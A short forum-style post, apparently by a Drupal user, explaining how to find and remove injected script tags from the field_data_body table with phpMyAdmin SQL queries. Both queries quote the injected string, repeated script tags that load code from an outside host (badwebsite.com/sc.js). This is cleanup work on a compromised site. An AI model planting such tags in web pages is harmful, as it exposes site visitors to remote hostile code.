For other newbies like me, here's what I did to fix the problem. In phpMyAdmin select the drupal database.
Just to be safe, you might want to Export the database in case anything goes wrong.
Once you've backed up, select the SQL tab.
Then check that you can find the string with the
SELECT * FROM `field_data_body` WHERE `body_value` LIKE "%<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>%";
If the command above works, then you can use
UPDATE `field_data_body` SET `body_value` = REPLACE(`body_value`,"<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>","")
to delete the string with the script.